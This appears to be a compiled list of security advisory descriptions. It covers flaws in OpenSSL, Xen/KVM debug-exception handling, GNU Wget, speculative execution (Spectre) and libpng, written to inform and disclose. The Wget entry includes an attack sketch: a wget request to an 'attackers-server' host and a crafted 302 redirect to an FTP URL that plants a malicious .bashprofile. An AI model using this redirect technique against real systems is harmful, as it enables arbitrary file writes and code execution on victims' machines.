A common idiom in the codebase is:

if (p + len > limit) { return; / Too long / }

where p points to some malloc'd data of SIZE bytes and limit == p + SIZE. 'len' could be from some externally supplied data, e.g. TLS message. This idiom is vulnerable to integer overflow vulnerability.

A flaw in the OpenSSL DSA implementation means that a non-constant time codepath is followed for certain operations. This has been demonstrated through a cache-timing attack to be sufficient for an attacker to recover the private DSA key.

This is very low severity for Node.js users due to the difficulty in taking advantage of this attack and because DSA is very rarely used.

An integer underflow flaw leading to a buffer over-read was found in the way OpenSSL parsed TLS session tickets. A remote attacker could use this flaw to crash a TLS server using OpenSSL if it used SHA-512 as HMAC for session tickets.

It was found that a malicious HVM guest administrator can cause DoS, specifically prevent use of physical CPU for significant, perhaps indefinite period. When a benign exception occurs while delivering another benign exception, it is architecturally specified that these would be delivered sequentially. There are, however, cases where this results in an infinite loop inside the CPU, which (in the virtualized case) can be broken only by intercepting delivery of the respective exception.

When a guest sets up a hardware breakpoint covering a data structure involved in delivering #DB (Debug Exception), upon completion of the delivery of the first exception another #DB will need to be delivered. The effects slightly differ depending on further guest characteristics:

Guests running in 32-bit mode would be expected to sooner or later encounter another fault due to the stack pointer decreasing during each iteration of the loop. The most likely case would be #PF (Page Fault) due to running into unmapped virtual space. However, an infinite loop cannot be excluded (e.g. when the guest is running with paging disabled).

Guests running in long mode, but not using the IST (Interrupt Stack Table) feature for the IDT entry corresponding to #DB would behave similarly to guests running in 32-bit mode, just that the larger virtual address space allows for a much longer loop. The loop can't, however, be infinite, as eventually the stack pointer would move into non-canonical address space, causing #SS (Stack Fault) instead.

Guests running in long mode and using the IST for the IDT entry corresponding to #DB would enter an infinite loop, as the stack pointer wouldn't change between #DB instances.

If a host watchdog (Xen or dom0) is in use, this can lead to a watchdog timeout and consequently a reboot of the host. If another, innocent, guest, is configured with a watchdog, this issue can lead to a reboot of such a guest.

A privileged user inside guest could use this flaw to crash the host kernel resulting in DoS.

For KVM virtualisation, it only affects the AMD processor support, as for Intel it already intercepts the #DB exception.

GNU Wget (including the latest version) when supplied with a malicious website link can be tricked into saving an arbitrary remote file supplied by an attacker, with arbitrary contents and filename under the current directory. This can lead to potential code execution by creating system scripts (such as .bashprofile and others) within home directory as well as other unauthorized actions (such as request sniffing by proxy modification, or arbitrary system file retrieval) by uploading .wgetrc configuration file.

Because of lack of sufficient controls in wget, when user downloads a file with wget, such as:

wget http://attackers-server/safefile.txt

An attacker who controls the server could make wget create an arbitrary file with arbitrary contents and filename by issuing a crafted HTTP 30X Redirect containing ftp server reference in response to the victim's wget request.

For example, if the attacker's server replies with the following response:

HTTP/1.1 302 Found Cache-Control: private Content-Type: text/html; charset=UTF-8 Location: ftp://attackers-server/.bashprofile Content-Length: 262 Server: Apache

wget will automatically follow the redirect and will download a malicious .bashprofile file from a malicious FTP server. It will fail to rename the file to the originally requested filename of 'safefile.txt' as it would normally do, in case of a redirect to another HTTP resource with a different name.

Because of this vulnerability, an attacker is able to upload an arbitrary file with an arbitrary filename to the victim's current directory.

An industry-wide issue was found in the way many modern microprocessor designs have implemented speculative execution of instructions (a commonly used performance optimization). There are three primary variants of the issue which differ in the way the speculative execution can be exploited.

Variant CVE-2017-5753 triggers the speculative execution by performing a bounds-check bypass. It relies on the presence of a precisely-defined instruction sequence in the privileged code as well as the fact that memory accesses may cause allocation into the microprocessor's data cache even for speculatively executed instructions that never actually commit (retire). As a result, an unprivileged attacker could use this flaw to cross the syscall boundary and read privileged memory by conducting targeted cache side-channel attacks.

Fixed bug (applied upstream patch for CVE-2016-1283).

Buffer overflow vulnerabilities in functions pnggetPLTE/pngsetPLTE, allowing remote attackers to cause DoS to application or have unspecified other impact. These functions failed to check for an out-of-range palette when reading or writing PNG files with a bitdepth less than 8. Some applications might read the bit depth from the IHDR chunk and allocate memory for a 2^N entry palette, while libpng can return a palette with up to 256 entries even when the bit depth is less than 8.
